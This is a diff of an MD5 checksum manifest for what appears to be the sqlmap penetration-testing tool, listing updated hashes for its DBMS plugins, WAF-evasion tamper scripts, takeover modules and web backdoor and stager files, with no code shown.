plugins/dbms/informix/fingerprint.py -9dac94c8f76acf0be65b6c57ecdb5c34 plugins/dbms/informix/__init__.py -39dc5c088b4d37742290acc76c47fe94 plugins/dbms/informix/syntax.py -25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/informix/takeover.py -1e5532ede194ac9c083891c2f02bca93 plugins/dbms/__init__.py -6917f9b045f6188b89e816dea9b46a3f plugins/dbms/maxdb/connector.py -b2df2dfaa44659ac02df396fb2174d23 plugins/dbms/maxdb/enumeration.py -ffd26f64142226d0b1ed1d70f7f294c0 plugins/dbms/maxdb/filesystem.py -9f9f1c4c4c3150545c4b61d1cffc76a8 plugins/dbms/maxdb/fingerprint.py -4321d7018f5121343460ebfd83bb69be plugins/dbms/maxdb/__init__.py -e7d44671ae26c0bcd5fe8448be070bbd plugins/dbms/maxdb/syntax.py -bf7842bb291e2297c3c8d1023eb3e550 plugins/dbms/maxdb/takeover.py -6439d15c1e8cdb069056c4fa725326df plugins/dbms/mssqlserver/connector.py -fdc3cc66d0d35f6ebee0dd625a87f4e9 plugins/dbms/mssqlserver/enumeration.py -7e495d786fa8e1da96e73e2905bbd7dd plugins/dbms/mssqlserver/filesystem.py -03d463c15ebbfa4e49155b261b59db31 plugins/dbms/mssqlserver/fingerprint.py -affef90b1442285da7e89e46603c502e plugins/dbms/mssqlserver/__init__.py -612be1929108e7b4512a49a4a3837bbc plugins/dbms/mssqlserver/syntax.py -b9e62a80bd3ead133a511f9769e5e6c3 plugins/dbms/mssqlserver/takeover.py -f6e1f3f09f32b9cb2ca11c016d373423 plugins/dbms/mysql/connector.py -445164daf59b890aeacc968af58fcb53 plugins/dbms/mysql/enumeration.py -d6836e2a6a308eb3536e2e7fc74fdc8b plugins/dbms/mysql/filesystem.py -2bfd2369aebe2999f7333cca0895507c plugins/dbms/mysql/fingerprint.py -88b876f085fec2569a0697f4b69f41da plugins/dbms/mysql/__init__.py -0e2adbee217f5b94dcc124d24b8dde99 plugins/dbms/mysql/syntax.py -f30009816db6a0b41342301f0d657a01 plugins/dbms/mysql/takeover.py -9a50b600d65d178b374d19775d1f95e4 plugins/dbms/oracle/connector.py -e1ffee36fd18f33f34bb4bac4ae43f14 plugins/dbms/oracle/enumeration.py -c326b0d8bed92be67888b0242f565ac8 plugins/dbms/oracle/filesystem.py -e16cbf8abda91a906ca7bafb81d8866e plugins/dbms/oracle/fingerprint.py -9cbce3d3747c67f18e65f9c1eb910b0e plugins/dbms/oracle/__init__.py -5c2f1611c3ceface38a7e95650391ae6 plugins/dbms/oracle/syntax.py -bcdbd9c04d7d5a911e0e31abe1a24f0f plugins/dbms/oracle/takeover.py -f99c23db4ee6a6b8c0edbf684d360ad3 plugins/dbms/postgresql/connector.py -7cdb821884e5f15084d1bea7f8a50574 plugins/dbms/postgresql/enumeration.py -c8bb829d45752b98e6a03817b92e0fe5 plugins/dbms/postgresql/filesystem.py -603d533d924498378eccba4f0f196be6 plugins/dbms/postgresql/fingerprint.py -4fe6dcf2b43b6dac46f31d75e9de260d plugins/dbms/postgresql/__init__.py -c8c2d660977e3e07182e7cdf31aa786a plugins/dbms/postgresql/syntax.py -1287acf330da86a93c8e64aff46e3b65 plugins/dbms/postgresql/takeover.py -3009438ba259ca159c5ce9799f27dec1 plugins/dbms/sqlite/connector.py -5194556e6b1575b1349f8ccfd773952b plugins/dbms/sqlite/enumeration.py -90fa97b84998a01dba7cc8c3329a1223 plugins/dbms/sqlite/filesystem.py -ed52c198f3346ceabdef676e9f5d3c0f plugins/dbms/sqlite/fingerprint.py -f639120d42b33b6ca67930bddbf2ac1f plugins/dbms/sqlite/__init__.py -964e59d2eba619b068b0a15cea28efe0 plugins/dbms/sqlite/syntax.py -3364b2938d7040c507cd622c323557dc plugins/dbms/sqlite/takeover.py -6439d15c1e8cdb069056c4fa725326df plugins/dbms/sybase/connector.py -006b647e955d7638687d16e047e9c587 plugins/dbms/sybase/enumeration.py -74de450dd6d6d006aa9c7eed56e6b09a plugins/dbms/sybase/filesystem.py -c8ee0deaa2309e96d9a409ff1524f3ad plugins/dbms/sybase/fingerprint.py -a3db8618eed5bb2807b6f77605cba9cc plugins/dbms/sybase/__init__.py -36acb9a5966af21b32e8558b0d50653d plugins/dbms/sybase/syntax.py -79f6c7017db4ded8f74a0117188836ff plugins/dbms/sybase/takeover.py -34d181a7086d6dfc7e72ae5f8a4cfe0f plugins/generic/connector.py -e6cd1c5a5244d83396b401f7db43d323 plugins/generic/custom.py -315a3ced9667065b24de040af296037a plugins/generic/databases.py -b1bd764e8f417222ebb1890232290679 plugins/generic/entries.py -d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py -ea0f3b9085061b272bfd98c13ad2d977 plugins/generic/filesystem.py -f5d5419efddfe04648ea5e953c650793 plugins/generic/fingerprint.py -1e5532ede194ac9c083891c2f02bca93 plugins/generic/__init__.py -f7874230e5661910d5fd21544c7d1022 plugins/generic/misc.py -8995e814cb8e854bd77534f687535014 plugins/generic/search.py -a70cc0ada4b0cc9e7df23cb6d48a4a0c plugins/generic/syntax.py -e522c294676ede15bee751107e9bb449 plugins/generic/takeover.py -4419b13a4b78d7e9e4a2632302344a1a plugins/generic/users.py -1e5532ede194ac9c083891c2f02bca93 plugins/__init__.py -b04db3e861edde1f9dd0a3850d5b96c8 shell/backdoors/backdoor.asp_ +11492e9b5f183c289b98442437675c1f extra/shutils/regressiontest.py +fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py +53d5dcba047f1285e32b9e88d2803ebf extra/sqlharvest/sqlharvest.py +fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py +be1d8f7b74ad64226c61b1a74251f8ff extra/wafdetectify/wafdetectify.py +d0f2b424f5b2b06f26cdd7076d61be6e lib/controller/action.py +32959690fd69f4131cbb8abc051114e9 lib/controller/checks.py +3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py +e97a9d34fef5761a8eab6432ce3c7c53 lib/controller/handler.py +fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py +6da66134fec9d81492e5b7c7241fdbd9 lib/core/agent.py +fdabbf8dda7277e5f4e3d0a6252cffb6 lib/core/bigarray.py +61e6d5e091588bf8e33fb1d92f23868a lib/core/common.py +de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py +abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py +db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py +b7c912e2af7a3354f6d7c04f556a80b2 lib/core/decorators.py +5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py +9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py +040895bafa05783ca1a2e6c74d6de2c6 lib/core/dump.py +5c91145204092b995ed1ac641e9e291d lib/core/enums.py +84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py +fb6be55d21a70765e35549af2484f762 lib/core/__init__.py +18c896b157b03af716542e5fe9233ef9 lib/core/log.py +fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py +83d9f55dad3915ff66ce7f2f21452bc2 lib/core/option.py +fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py +0f1d79ada721cf6def611b21b03d68af lib/core/profiling.py +5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py +9a7d68d5fa01561500423791f15cc676 lib/core/replication.py +3179d34f371e0295dd4604568fb30bcd lib/core/revision.py +d6269c55789f78cf707e09a0f5b45443 lib/core/session.py +c799d8dee38e2da35b8aff0638f21129 lib/core/settings.py +a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py +5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py +eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py +2f87870562ac9a79a5105a0e20fdbf9a lib/core/testing.py +5ebd996b2a77449df90320847e30a073 lib/core/threads.py +2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py +5bd7cd6553a4a1c85cbaaddc268108e4 lib/core/update.py +5232b05d5c42a0e5a5a2d5952c6c39a5 lib/core/wordlist.py +fb6be55d21a70765e35549af2484f762 lib/__init__.py +4881480d0c1778053908904e04570dc3 lib/parse/banner.py +65a5b384bc3d545b366b344eddeb0805 lib/parse/cmdline.py +85e44fc7673a661305909a85ed24c5ae lib/parse/configfile.py +9b33e52f697d6e915c7a10153562ce89 lib/parse/handler.py +43deb2400e269e602e916efaec7c0903 lib/parse/headers.py +77e802323ffa718dd9c27512656c0a70 lib/parse/html.py +fb6be55d21a70765e35549af2484f762 lib/parse/__init__.py +92b55cf4246ae7ff6651ac8deb4a0ac5 lib/parse/payloads.py +993104046c7d97120613409ef7780c76 lib/parse/sitemap.py +e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py +6076c01e84b589adb97cac421a7d5251 lib/request/basic.py +fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py +3b76bfadb74c069b17d73d2aba241005 lib/request/connect.py +7cba86090b02558f04c6692cef66e772 lib/request/direct.py +0a5cc34a7bbe709684ce32b4b46afd32 lib/request/dns.py +7bab2719ef2a6f1ddd838fa2335ae635 lib/request/httpshandler.py +fb6be55d21a70765e35549af2484f762 lib/request/__init__.py +00720f9eddf42f4fefa083fba40f69ed lib/request/inject.py +52a067bd2fe91ea9395269a684380cbb lib/request/methodrequest.py +321786eeb43821106e41fc72bd4f9901 lib/request/pkihandler.py +16ff6e078819fe517b1fc0ae3cbc1aa8 lib/request/rangehandler.py +e79048c2a08c1a47efd5652f59c4417d lib/request/redirecthandler.py +1e60edebdb3997055616d12f4a932375 lib/request/templates.py +d0059dbb1e928871747a8893b41ce268 lib/takeover/abstraction.py +ac9efea51eba120b667b4b73536d7f1c lib/takeover/icmpsh.py +fb6be55d21a70765e35549af2484f762 lib/takeover/__init__.py +093301eaeac3cd19374f2e389e873b18 lib/takeover/metasploit.py +6b5b841d445b7b973c2e033edfb01b16 lib/takeover/registry.py +ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py +915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py +1aadcdc058bb813d09ad23d26ea2a6b5 lib/takeover/xp_cmdshell.py +034490840639b5ca2bc97af4cb14f449 lib/techniques/blind/inference.py +fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py +fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py +ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py +437786cd2f9c3237614e3cac0220b2a6 lib/techniques/dns/use.py +fb6be55d21a70765e35549af2484f762 lib/techniques/error/__init__.py +c23a6f8e88242c84b54426ae7cd430a1 lib/techniques/error/use.py +fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py +fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py +baa3946c23749d898f473dba0f4eecff lib/techniques/union/test.py +d32988e13713417286ab83a00856858e lib/techniques/union/use.py +bf5e2a2b265c0d8b9f054c94fb74dcb9 lib/utils/api.py +544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py +ac0780394af107b9a516463efc4de2e5 lib/utils/crawler.py +da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py +f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py +0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py +1fc47aa8860f809d103048e4eb51cdd2 lib/utils/hashdb.py +e571f559826c08f05d060625b4e9dcdd lib/utils/hash.py +17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py +fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py +2a40a6bd1779f7db5199f089411b1c1c lib/utils/pivotdumptable.py +5a8902fd6fa94ea73cf44952f9ed5a57 lib/utils/progress.py +a41136344768902f82b2855e88fd228d lib/utils/purge.py +b6e16ad8ea04e2c1ed65966fda1c66ac lib/utils/search.py +8d6b244ca3d6f99a9d6cd8c1856ccfeb lib/utils/sqlalchemy.py +a90c568a9b88eaea832a77581bd39d85 lib/utils/timeout.py +164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py +1e5d24f1c629476bdf43363d2c8d8397 lib/utils/xrange.py +ab877805fe12bbcbb06b9eccfabdc4ed plugins/dbms/access/connector.py +b0e4f4aed8504f97d4044620d3a7d27d plugins/dbms/access/enumeration.py +58d664d680087596965f95b482157320 plugins/dbms/access/filesystem.py +50e2991ae3f0a1eaf49fd10dcd041d92 plugins/dbms/access/fingerprint.py +bd8faded88ef80cde33b747d8181192d plugins/dbms/access/__init__.py +f36a8b05ea1a25254e03dc3bd44b1261 plugins/dbms/access/syntax.py +1a4e639d2a946792401cf5367ef661a5 plugins/dbms/access/takeover.py +b4bf4ef5189705945ca77424a7f42ee7 plugins/dbms/db2/connector.py +0f2e682ced8f91b1ec8bdf08c925b5a4 plugins/dbms/db2/enumeration.py +1ac13df2e0f04f312f522e9d8c13b692 plugins/dbms/db2/filesystem.py +e003fe19474305af522d8d6c6680db17 plugins/dbms/db2/fingerprint.py +f2fb5a3763f69cde1b1d520f8bd6a17a plugins/dbms/db2/__init__.py +61b06dce1b9a0a2f9962266a9c9495a5 plugins/dbms/db2/syntax.py +fcbd61e7ac30eb4c8f09ffd341fa27bb plugins/dbms/db2/takeover.py +e2d7c937e875e9d6f5e2c5612120b515 plugins/dbms/firebird/connector.py +f43ca05279e8fce4f02e4948d4af8fda plugins/dbms/firebird/enumeration.py +15a3a49824324c4cca444e6e63f84273 plugins/dbms/firebird/filesystem.py +6b505575b98694fd8e6a19870305db18 plugins/dbms/firebird/fingerprint.py +be722d08b76ed73da11af7a35ddf035d plugins/dbms/firebird/__init__.py +82db6676645cc6c3cabad0b346ef92f9 plugins/dbms/firebird/syntax.py +ebf3557dd97204bf1431f0f8fca3b7d6 plugins/dbms/firebird/takeover.py +573380d437402bf886cef1b076a48799 plugins/dbms/h2/connector.py +695f3c809f2af91cc1719e8b9bd9a7e7 plugins/dbms/h2/enumeration.py +add850d6aa96a3a4354aa07d2f2395e7 plugins/dbms/h2/filesystem.py +eb7adf57e6e6cdb058435f4fa017e985 plugins/dbms/h2/fingerprint.py +4d838e712aaee541eb07278a3f4a2d70 plugins/dbms/h2/__init__.py +5a1e5c46053ec1be5f536cec644949b5 plugins/dbms/h2/syntax.py +5afbe4ae5ab3fe5176b75ac3c5a16fae plugins/dbms/h2/takeover.py +4bdbb0059d22e6a22fe2542f120d4b0b plugins/dbms/hsqldb/connector.py +cfc9923fe399f1735fb2befd81ff12be plugins/dbms/hsqldb/enumeration.py +e4366df5a32c32f33be348e880714999 plugins/dbms/hsqldb/filesystem.py +5d5c38e0961c5a4dade43da7149f2a28 plugins/dbms/hsqldb/fingerprint.py +5221fe018709e60663cae7c5d784ad60 plugins/dbms/hsqldb/__init__.py +5a1e5c46053ec1be5f536cec644949b5 plugins/dbms/hsqldb/syntax.py +e77d9be343fe7820a594d7b02f8d0b55 plugins/dbms/hsqldb/takeover.py +e7293692829fbacb63cd9f353b719ea8 plugins/dbms/informix/connector.py +4af6786b459ddbb666c5c765bf2a1158 plugins/dbms/informix/enumeration.py +1ac13df2e0f04f312f522e9d8c13b692 plugins/dbms/informix/filesystem.py +ed2bdb4eb574066521e88241a21f4bf7 plugins/dbms/informix/fingerprint.py +3ae2c32b58939dce2f934b9f79331798 plugins/dbms/informix/__init__.py +15b01ef55db3f3f1e77ad8cf77d0c27a plugins/dbms/informix/syntax.py +fcbd61e7ac30eb4c8f09ffd341fa27bb plugins/dbms/informix/takeover.py +fb6be55d21a70765e35549af2484f762 plugins/dbms/__init__.py +ad0b369b6b81a427abede09784db91c5 plugins/dbms/maxdb/connector.py +ea186b97a394b61d82ecf7ed22b0cff6 plugins/dbms/maxdb/enumeration.py +7886148c3d6114d43aa1d78b0512fe12 plugins/dbms/maxdb/filesystem.py +691c86dc54cf3cc69b0f5a5ea5fe9a3c plugins/dbms/maxdb/fingerprint.py +8ad820fdfd2454363279eda7a9a08e6e plugins/dbms/maxdb/__init__.py +8fe248263926639acf41db3179db13d0 plugins/dbms/maxdb/syntax.py +479ce664674859d0e61c5221f9e835fd plugins/dbms/maxdb/takeover.py +ac7f2849d59829c3a1e67c76841071fd plugins/dbms/mssqlserver/connector.py +69bfc53a409e79511802f668439bf4be plugins/dbms/mssqlserver/enumeration.py +bb02bdf47c71ed93d28d20b98ea0f8c6 plugins/dbms/mssqlserver/filesystem.py +bcabbf98e72bf3c6e971b56d8da60261 plugins/dbms/mssqlserver/fingerprint.py +6bffd484ef47111dd8a6e46e127ab5c7 plugins/dbms/mssqlserver/__init__.py +fae49b96d1422171b8f8c79f42aa56c9 plugins/dbms/mssqlserver/syntax.py +a5aa91bd7248d4f7ad508cf69f45696d plugins/dbms/mssqlserver/takeover.py +078a5399bd14d1416e2ae6fcd0445159 plugins/dbms/mysql/connector.py +a94bde2f4dcf3a5f166302d07ea32907 plugins/dbms/mysql/enumeration.py +81c762ceba0892d0d6d78d70f513d20a plugins/dbms/mysql/filesystem.py +fd79ec2504b6bada7d2da233a549af53 plugins/dbms/mysql/fingerprint.py +040835bde6be85ebc1a6667dcd08940e plugins/dbms/mysql/__init__.py +dd6bd1d3d561755b96e953ede16cb8fc plugins/dbms/mysql/syntax.py +6c91ef5b5a6cd29cef4bd9bc3c369454 plugins/dbms/mysql/takeover.py +fba38967a03e30a162660dd3685a46f2 plugins/dbms/oracle/connector.py +3266e81eb4a3c083d27c7a255be38893 plugins/dbms/oracle/enumeration.py +5bdd5288c8303ea21a5f8409332e32a1 plugins/dbms/oracle/filesystem.py +8813f44f3b67fc98024199c7b8398811 plugins/dbms/oracle/fingerprint.py +c7bb3f112aad2ea7ea92e036e9aab6a7 plugins/dbms/oracle/__init__.py +2676a1544b454f276c64f5147f03ce02 plugins/dbms/oracle/syntax.py +8da7c9ee0a0e692097757dfc2b5fefe0 plugins/dbms/oracle/takeover.py +e5e202429e9eee431c9dd39737b4b95c plugins/dbms/postgresql/connector.py +86f0e0c9c4bc155c93277e879e3c3311 plugins/dbms/postgresql/enumeration.py +d68b5a9d6e608f15fbe2c520613ece4a plugins/dbms/postgresql/filesystem.py +2af014c49f103cb27bc547cc12641e2b plugins/dbms/postgresql/fingerprint.py +fb018fd23dcebdb36dddd22ac92efa2c plugins/dbms/postgresql/__init__.py +290ea28e1215565d9d12ede3422a4dcf plugins/dbms/postgresql/syntax.py +339bc65824b5c946ec40a12cd0257df1 plugins/dbms/postgresql/takeover.py +d2391dfe74f053eb5f31b0efad3fdda0 plugins/dbms/sqlite/connector.py +6a0784e3ce46b6aa23dde813c6bc177f plugins/dbms/sqlite/enumeration.py +3c0adec05071fbe655a9c2c7afe52721 plugins/dbms/sqlite/filesystem.py +4d00b64bbfb2572a4a3a3330f255cc54 plugins/dbms/sqlite/fingerprint.py +582165c3e31ec5bf919db015c2e9bb2b plugins/dbms/sqlite/__init__.py +1ca5b1d7c64686827e80988933c397fa plugins/dbms/sqlite/syntax.py +224835bf71e99bac6e50b689afac5122 plugins/dbms/sqlite/takeover.py +492e2ad85f1a3a0feb2f010cb6c84eb1 plugins/dbms/sybase/connector.py +37a4e529dfb6bf3387c22e66cd9966f7 plugins/dbms/sybase/enumeration.py +9f16fb52a70e5fb01876f1bc5f5ef532 plugins/dbms/sybase/filesystem.py +69c104c5a2ff3e2c88a41205bb96d812 plugins/dbms/sybase/fingerprint.py +2fae8e5d100fc9fb70769e483c29e8fb plugins/dbms/sybase/__init__.py +ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py +369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py +147f6af265f6b5412bbd7aaebef95881 plugins/generic/connector.py +e492c91101cecd66c9f6a630eab85368 plugins/generic/custom.py +a3fd48c7094fca6692be8b1ae5e29cea plugins/generic/databases.py +6283b356e6055bb9071f00cdf66dea24 plugins/generic/entries.py +f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py +cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py +65e75cd3c2c7acffa6ac13b086e0f383 plugins/generic/fingerprint.py +fb6be55d21a70765e35549af2484f762 plugins/generic/__init__.py +de1928d6865547764ae9a896da4bf1d4 plugins/generic/misc.py +8bc2b5dfbc4c644ed95adfe8099ee067 plugins/generic/search.py +1989f6cbed217f4222dc2dce72992d91 plugins/generic/syntax.py +d152384fffebfa010188707bf683cd3c plugins/generic/takeover.py +a4b9f764140e89279e3d0dace99bfa5f plugins/generic/users.py +fb6be55d21a70765e35549af2484f762 plugins/__init__.py +5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_ 158bfa168128393dde8d6ed11fe9a1b8 shell/backdoors/backdoor.aspx_ -1add5a9a67539e7fd1999c8c20a69d15 shell/backdoors/backdoor.jsp_ +595f711adf1ecb5f3b9a64532b04d8b9 shell/backdoors/backdoor.jsp_ 09fc3ed6543f4d1885e338b271e5e97a shell/backdoors/backdoor.php_ -0e7aba05423c272f051f31165b0e416d shell/stagers/stager.asp_ -c3cc8b7727161e64ab59f312c33b541a shell/stagers/stager.aspx_ -1f7f125f30e0e800beb21e2ebbab18e1 shell/stagers/stager.jsp_ -01e3505e796edf19aad6a996101c81c9 shell/stagers/stager.php_ -4eaeef94314956e4517e5310a28d579a sqlmapapi.py -1bef42b51e59db28d04181955c405931 sqlmap.py -4c3b8a7daa4bff52e01d4168be0eedbe tamper/apostrophemask.py -4115a55b8aba464723d645b7d3156b6e tamper/apostrophenullencode.py -4b1024cecb00f13a4e1be78391e9cedb tamper/appendnullbyte.py -84e6ad0010ed1d9a326d51b493116256 tamper/base64encode.py -55e9fbe57967e57a05a8ca77c312dc70 tamper/between.py -f942ad818d3e26ec34f0d15ca8b84207 tamper/bluecoat.py -e3cdf13caedb4682bee3ff8fac103606 tamper/chardoubleencode.py -3b2f68476fbcf8223199e8dd4ec14b64 tamper/charencode.py -b502023ac6c48e49e652ba524b8e18cc tamper/charunicodeencode.py -8bc697b143bba852b459806fcfaa5422 tamper/charunicodeescape.py -9e9719d822afab818d6a8a42351baa40 tamper/commalesslimit.py -7f0110c706aca9cd090c0371e6d1a4cb tamper/commalessmid.py -8070799415795bd6f23d11d02b99fbe9 tamper/commentbeforeparentheses.py -6498568524665729cb04a41c5f67f975 tamper/concat2concatws.py -dcdc433fe946f1b9005bcd427a951dd6 tamper/equaltolike.py -0a61e7b57ad593202b8449601e757f16 tamper/escapequotes.py -4393cc5220d2e39c5c9c5a9af4e2635d tamper/greatest.py -25ec62158d3e289bda8a04c8b65686ba tamper/halfversionedmorekeywords.py -9d8c350cbb90d4b21ec9c9db184a213a tamper/htmlencode.py -838212f289632526777b7224bf8aacf9 tamper/ifnull2casewhenisnull.py -e2c2b6a67546b36983a72f129a817ec0 tamper/ifnull2ifisnull.py -2416ff8e020fc2db29a580f55dcb6fb1 tamper/informationschemacomment.py -1e5532ede194ac9c083891c2f02bca93 tamper/__init__.py -2dc49bcd6c55f4e2322b07fa92685356 tamper/least.py -22a740e6fbcb8cc3ada430e3fb1be05f tamper/lowercase.py -e44163d21e055805b5e55667e72f5978 tamper/modsecurityversioned.py -f83a11d594fad3ed3291074c7b37b281 tamper/modsecurityzeroversioned.py -abd6490408551a8c8226a32fbc2b5345 tamper/multiplespaces.py -be757e4c9a6fb36af7b9a8c444fddb05 tamper/nonrecursivereplacement.py -aca15cb5474fb0a32e517ae5e940cbd0 tamper/overlongutf8.py -bc0363e4fc04240c9f7b81e4ecce0714 tamper/percentage.py -4fa8b6c0e7573e395330bb6a405abbaf tamper/plus2concat.py -5b947c6cd78eab22ee53f5f534c532d3 tamper/plus2fnconcat.py -44fd1c13a7dd6ae792f11afb28976480 tamper/randomcase.py -6368a971a80b1acbbbc6b76616bd96b9 tamper/randomcomments.py -48228322d40d97016b05e408c5234634 tamper/securesphere.py -cac8a56f8cc6c14524ee392daa5ae2fd tamper/space2comment.py -62d4d07b640d9d54d26ba33a77de9474 tamper/space2dash.py -ab91c20f71973b1a9a5fecfb9f2a1d1f tamper/space2hash.py -18f827afce8322adfa0c6dfbb4a59379 tamper/space2morecomment.py -59e61a9dd1f1e6b79fde026ed771cac4 tamper/space2morehash.py -ad45e799126d2d563b3958f714d2e7c6 tamper/space2mssqlblank.py -74334d72bffb99b0ac092f87f4da2675 tamper/space2mssqlhash.py -fd1bff6caefe5007444f7a0fabbc8ce9 tamper/space2mysqlblank.py -48a1f013657186e336d249adefbdbc7b tamper/space2mysqldash.py -36958b2a5f5915de8b7cc157a64b267a tamper/space2plus.py -6ce135f89259c379d84c85e538300091 tamper/space2randomblank.py -95c91853034d9e276a6570e4d01b5f74 tamper/sp_password.py -041cb567dff6bb6e7389e12ab3fb84c6 tamper/symboliclogical.py -6459c62914ae643799667de8bd283c97 tamper/unionalltounion.py -3b8182b8caef857b9af397e47d0c9938 tamper/unmagicquotes.py -371afb396f0bb18d97147c5db83354f4 tamper/uppercase.py -557ce5bf5ae9b7ab26f2c6b57312f41a tamper/varnish.py -929a2586dbb7b758a454eb09e13e5a73 tamper/versionedkeywords.py -3aff4d344ebd4f38e033e73b63f84447 tamper/versionedmorekeywords.py -ed1acafbac707bfa71c72f76b81c1bdd tamper/xforwardedfor.py -368165b45dadcdff4422bc010700832a thirdparty/ansistrm/ansistrm.py +ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ +4e6d2094bd6afe35032fb8bc8a86e83c shell/stagers/stager.aspx_ +0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ +2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ +41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py +67607879bc78f039b9c9f3be6380d253 sqlmap.py +772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py +3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py +1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py +b1d9fb70a972565f54655f428c3ac329 tamper/appendnullbyte.py +a48ddba5854c0f8c7cac78034ab8cbfa tamper/base64encode.py +ead9e7a87360ddd13bf1de2d6b36b491 tamper/between.py +01cc36d46038c9480366cac98898fe39 tamper/bluecoat.py +ba5ebde73da33956fe911e11f025e645 tamper/chardoubleencode.py +2e3e97cfad12090b9bd1c74b69679422 tamper/charencode.py +6ac8f2b28d5686b38c9f282ee18d0d39 tamper/charunicodeencode.py +dfb7f2eac76f63a73d0d7f40d67b0ff0 tamper/charunicodeescape.py +d56dd22ef861d4fc15fb5eb6bd026ff0 tamper/commalesslimit.py +6795b3d686297cd30c6c187b49b88446 tamper/commalessmid.py +098941e3b27eb4175287f28a00f1ef4c tamper/commentbeforeparentheses.py +a26a9bb4bd911aab7d84504cfa1ebdba tamper/concat2concatws.py +7ca2e1b08858a131ba58d3c669241c95 tamper/equaltolike.py +9a7e8d28ec31c1f9076c9dc1af9cbe04 tamper/escapequotes.py +6c7e8474ab7c5c2e07c4601b69a62fc1 tamper/greatest.py +c1709d45874eace00c0679d482829974 tamper/halfversionedmorekeywords.py +20b0c7c888cdb11e00100dcc3226d685 tamper/htmlencode.py +1a81558b83b218445039911f26475e86 tamper/ifnull2casewhenisnull.py +ed1dcf9292a949b43a2d32b0c0fc2072 tamper/ifnull2ifisnull.py +7dbaaf62b80b29cf807806e515488ce1 tamper/informationschemacomment.py +fb6be55d21a70765e35549af2484f762 tamper/__init__.py +5c4ac7c3f8d4724737a4307eb3bead20 tamper/least.py +80d9bd948c353fed81dc7b06840acbaa tamper/lowercase.py +ee5fd7d806531737987d5d518be2e9a9 tamper/luanginx.py +b50ecb14fc88963bd20d1433e8c27fcd tamper/modsecurityversioned.py +26ed48a6f984cbcd94f99895b2bc6da2 tamper/modsecurityzeroversioned.py +b4099f36131eabf64f9ae287a67f79c4 tamper/multiplespaces.py +2c3d05be881074e5bf72cece194b2011 tamper/overlongutf8more.py +d0a25188761286f7d464e9d166d22930 tamper/overlongutf8.py +97a8378552cd4cd73c42c575228b6ab0 tamper/percentage.py +6984dda440f06fc1887b4087760bda34 tamper/plus2concat.py +60c97825e2dbd40562c01ab65f25948f tamper/plus2fnconcat.py +277726cc91a5f57dbcae037c9986ef0c tamper/randomcase.py +a88b92c7288aafe04926c49541c0dc38 tamper/randomcomments.py +b70566435b25f0995a651adaf5d26c0d tamper/space2comment.py +3ef82de711f7d9e89f014c48851508f1 tamper/space2dash.py +d46a0acbb24d33704763191fd867ca78 tamper/space2hash.py +703686f68988c9087b6dcef23cb40a03 tamper/space2morecomment.py +dda73a08c44850c097a888128102edd5 tamper/space2morehash.py +b4c550d42994001422073ccb2afc37a4 tamper/space2mssqlblank.py +d38f95ea746038856fa02aab16064d83 tamper/space2mssqlhash.py +a308787c9dad835cb21498defcd218e6 tamper/space2mysqlblank.py +75eef8086f8f6edf9d464277c9f1c1f5 tamper/space2mysqldash.py +dc99c639a9bdef91a4225d884c29bb40 tamper/space2plus.py +190bc9adca68e4a628298b78e8e455e8 tamper/space2randomblank.py +eec5c82c86f5108f9e08fb4207a8a9b1 tamper/sp_password.py +64b9486995d38c99786f7ceefa22fbce tamper/symboliclogical.py +08f2ce540ee1f73b6a211bffde18e697 tamper/unionalltounion.py +628f74fc6049dd1450c832cabb28e0da tamper/unmagicquotes.py +f9f4e7316898109c3d5f3653cf162e12 tamper/uppercase.py +91b99614063348c67ce7ce5286a76392 tamper/varnish.py +db49128b094326fd87a6a998c27a5514 tamper/versionedkeywords.py +fc571c746951a5306591e04f70ddc46e tamper/versionedmorekeywords.py +d39ce1f99e268dc7f92b602656f49461 tamper/xforwardedfor.py +b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py 